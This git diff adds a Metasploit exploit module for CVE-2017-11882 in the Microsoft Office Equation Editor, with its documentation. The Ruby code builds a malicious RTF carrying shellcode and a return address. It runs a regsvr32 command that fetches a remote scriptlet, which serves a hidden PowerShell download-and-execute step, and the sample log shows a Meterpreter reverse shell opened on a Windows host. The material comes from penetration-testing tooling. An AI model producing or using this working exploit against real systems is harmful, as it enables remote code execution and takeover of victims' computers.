diff --git a/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md new file mode 100644 index 000000000000..b1b73d04683c --- /dev/null +++ b/documentation/modules/exploit/windows/fileformat/office_ms17_11882.md @@ -0,0 +1,53 @@ + +Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory. + +## Vulnerable Application + +- Microsoft Office 2016 +- Microsoft Office 2013 Service Pack 1 +- Microsoft Office 2010 Service Pack 2 +- Microsoft Office 2007 + +## Verification Steps + +1. Start msfconsole +2. Do: `use exploit/windows/fileformat/office_ms17_11882` +3. Do: `set PAYLOAD [PAYLOAD]` +4. Do: `run` + +## Options +### FILENAME +Filename to output, and location to which should be written. + + +## Example + +``` +msf > use exploit/windows/fileformat/office_ms17_11882 +msf exploit(office_ms17_11882) > set FILENAME msf.rtf +FILENAME => /home/mumbai/file.rtf +msf exploit(office_ms17_11882) > set LHOST ens3 +LHOST => ens3 +msf exploit(office_ms17_11882) > set LPORT 35116 +LPORT => 35116 +msf exploit(office_ms17_11882) > run +[*] Using URL: http://0.0.0.0:8080/BUY0DYgc +[*] Local IP: http://192.1668.0.11:8080/BUY0DYgc +[*] Server started. +[*] 192.168.0.24 office_ms17_11882 - Handling initial request from 192.168.0.24 +[*] 192.168.0.24 office_ms17_11882 - Stage two requestd, sending +[*] Sending stage (205379 bytes) to 192.168.0.24 +[*] Meterpreter session 1 opened (192.168.0.11:35116 -> 192.168.0.24:52217) at 2017-11-21 14:41:59 -0500 +sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : TEST-PC +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > +``` diff --git a/modules/exploits/windows/fileformat/office_ms17_11882.rb b/modules/exploits/windows/fileformat/office_ms17_11882.rb new file mode 100644 index 000000000000..9dc87de6a89d --- /dev/null +++ b/modules/exploits/windows/fileformat/office_ms17_11882.rb @@ -0,0 +1,315 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Powershell + include Msf::Exploit::EXE + include Msf::Exploit::FILEFORMAT + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Office CVE-2017-11882', + 'Description' => %q{ + Module exploits a flaw in how the Equation Editor that + allows an attacker to execute arbitrary code in RTF files without + interaction. The vulnerability is caused by the Equation Editor, + to which fails to properly handle OLE objects in memory. + }, + 'Author' => ['mumbai', 'embedi'], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Nov 15 2017', + 'References' => [ + ['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'], + ['URL', 'https://github.com/embedi/CVE-2017-11882'] + ], + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + ['Microsoft Office', {} ], + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'DisableNops' => true + }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => { + 'EXITFUNC' => 'thread', + 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' + } + )) + + register_options([ + OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]), + OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil]) + ]) + end + + def retrieve_header(filename) + if (not datastore['FOLDER_PATH'].nil?) + path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}" + else + path = nil + end + if (not path.nil?) + if ::File.file?(path) + File.open(path, 'rb') do |fd| + header = fd.read(fd.stat.size).split('{\*\datastore').first + header = header.to_s # otherwise I get nil class... + print_status("Injecting #{path}...") + return header + end + else + header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" + header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" + header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + end + else + header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n" + header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n" + header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + end + return header + end + + + + def generate_rtf + header = retrieve_header(datastore['FILENAME']) + object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata ' + object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000' + object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff' + object_class << '09000600000000000000000000000100000001000000000000000010000002000' + object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040' + object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0' + object_class << '07400720079000000000000000000000000000000000000000000000000000000' + object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000' + object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce' + object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000' + object_class << '00000000000000000000000000000000000000000000000000000000000000000' + object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0' + object_class << '00000000000000000000000000000000000000000000000000000000000000000' + object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000' + object_class << '00000000000000000000000000000000000000000000000000000000000000000' + object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000' + object_class << '00000000000000000000000000000000000000000000000000000000000000000' + object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000' + object_class << '00000000000000000000000000000000000000000000000000000000000000000' + object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000' + object_class << '00000000000000000000000000000000000000000000000000000000000000003' + object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060' + object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' + object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000' + object_class << '00000000000000000000000000000000000000000000000000000000000000000' + object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000' + object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045' + object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000' + object_class << '00000000000000000000000000000000000000000000000000000000000000000' + object_class << "00000300040000000000000000000000000000000000000000000000000000000" + object_class << "000000000000000000000000000000000000000000000000000000000000000\n" + + + shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0 + shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al + shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax] + shellcode << "\x9e" # 6: 9e sahf + shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0] + shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al + shellcode << "\x00\xc8" # f: 00 c8 add al,cl + shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi] + shellcode << "\\" # 12: 5c pop esp + shellcode << "\x00\xc4" # 13: 00 c4 add ah,al + shellcode << "\xee" # 15: ee out dx,al + shellcode << "[" # 16: 5b pop ebx + shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al + shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al + shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al + shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax + shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx] + shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx] + shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl + shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44 + shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678 + shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx + shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax] + shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx] + shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx] + shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c + shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx + shellcode << "\x53" # 3e: 53 push ebx + shellcode << "\x51" # 3f: 51 push ecx + shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64 + shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx + shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi] + shellcode << "\x53" # 49: 53 push ebx + shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c + shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax] + shellcode << "\x90" # 50: 90 nop + shellcode << "\x90" # 50: 90 nop + + footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000' + footer << '4500710075006100740069006F006E0020004E006100740069007600650000000' + footer << '00000000000000000000000000000000000000000000000000000' + footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000' + footer << '00000000000000000000000000000000000000000000000000000000000000400' + footer << '0000C5000000000000000000000000000000000000000000000000' + footer << '0000000000000000000000000000000000000000000000000000000000000000' + footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00' + footer << '000000000000000000000000000000000000000000000000000000' + footer << '0000000000000000000000000000000000000000000000000000000000000000' + footer << '000000000000000000000000000000000000000000000000000000' + footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF' + footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000' + footer << '00000000000000000000000000000000000000000000000000000000000000000' + footer << '00000000000000000000000000000000000000000000000000000' + footer << '00000000000000000000000000000000000000000000000000000000000000000' + footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000' + footer << '00000000000000000000000000000000000000000000000000000000000000000' + footer << '00000000000000001050000050000000D0000004D45544146494C' + footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C' + footer << '500000002001C0000000000050000000902000000000500000002' + footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF' + footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090' + footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016' + footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131' + footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000' + footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100' + footer << '00030000000000' + "\n" + footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n" + footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n" + footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n" + footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n" + footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n" + footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n" + footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n" + footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n" + footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n" + footer << "00000000\n" + footer << "}}}\n" + footer << '\par}' + "\n" + + + payload = shellcode + payload += [0x00402114].pack("V") + payload += "\x00" * 2 + payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll" + payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first + payload = header + object_class + payload + footer + payload + end + + + + def gen_psh(url, *method) + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl + + if method.include? 'string' + download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url)) + else + # Random filename to use, if there isn't anything set + random = "#{rand_text_alphanumeric 8}.exe" + # Set filename (Use random filename if empty) + filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME'] + + # Set path (Use %TEMP% if empty) + path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}') + + # Join Path and Filename + file = %Q(echo (#{path}+'\\#{filename}')) + + # Generate download PowerShell command + download_string = Rex::Powershell::PshMethods.download_run(url, file) + end + + download_and_run = "#{ignore_cert}#{download_string}" + + # Generate main PowerShell command + return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run) + end + + def on_request_uri(cli, _request) + if _request.raw_uri =~ /\.sct$/ + print_status("Handling request for .sct from #{cli.peerhost}") + payload = gen_psh("#{get_uri}", "string") + data = gen_sct_file(payload) + send_response(cli, data, 'Content-Type' => 'text/plain') + else + print_status("Delivering payload to #{cli.peerhost}...") + p = regenerate_payload(cli) + data = cmd_psh_payload(p.encoded, + payload_instance.arch.first, + remove_comspec: true, + exec_in_place: true + ) + send_response(cli, data, 'Content-Type' => 'application/octet-stream') + end + end + + + def rand_class_id + "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" + end + + + def gen_sct_file(command) + # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). + if command == '' + return %{} + # If a command is provided, tell the target system to execute it. + else + return %{} + end + end + + + def primer + file_create(generate_rtf) + end +end